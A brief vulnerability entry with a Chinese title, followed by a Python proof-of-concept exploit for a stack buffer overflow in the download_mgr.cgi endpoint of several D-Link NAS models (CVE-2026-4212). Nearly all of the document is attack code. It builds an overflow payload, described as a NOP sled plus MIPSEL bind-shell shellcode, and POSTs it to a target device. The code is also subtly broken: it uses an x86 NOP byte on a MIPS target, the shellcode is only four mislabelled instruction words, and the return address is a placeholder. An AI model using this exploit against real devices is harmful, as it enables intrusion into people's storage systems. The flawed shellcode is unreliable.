D-Link多型号NAS设备download_mgr.cgi栈缓冲区溢出漏洞(CVE-2026-4212)

import requests # CVE-2026-4212 PoC - D-Link NAS Stack Buffer Overflow # Target: D-Link NAS devices (DNS-320, DNS-320L, DNS-325, etc.) # Endpoint: /cgi-bin/download_mgr.cgi # Vulnerable function: Downloads_Schedule_Info target_ip = "192.168.1.100" target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/download_mgr.cgi" # Generate payload for stack buffer overflow # NOP sled + shellcode + return address def generate_payload(): nop_sled = b"\x90" * 100 # Bind shell to port 4444 - MIPSEL architecture shellcode shellcode = ( b"\x50\x45\x4e\x44" # MIPS NOP equivalent b"\xff\xff\x13\x24" # li t9,-13 b"\x27\xbd\xff\xe0" # addiu sp,sp,-32 b"\x27\x20\x01\x01" # move a0,sp ) return_address = b"\x42\x42\x42\x42" # Address to jump to (needs to be determined) padding = b"\x41" * 200 # Fill buffer payload = nop_sled + shellcode + padding + return_address return payload # Exploit via Downloads_Schedule_Info function def exploit(): params = { "Downloads_Schedule_Info": generate_payload().decode('latin-1') } print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(generate_payload())} bytes") try: response = requests.post(target_url, data=params, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()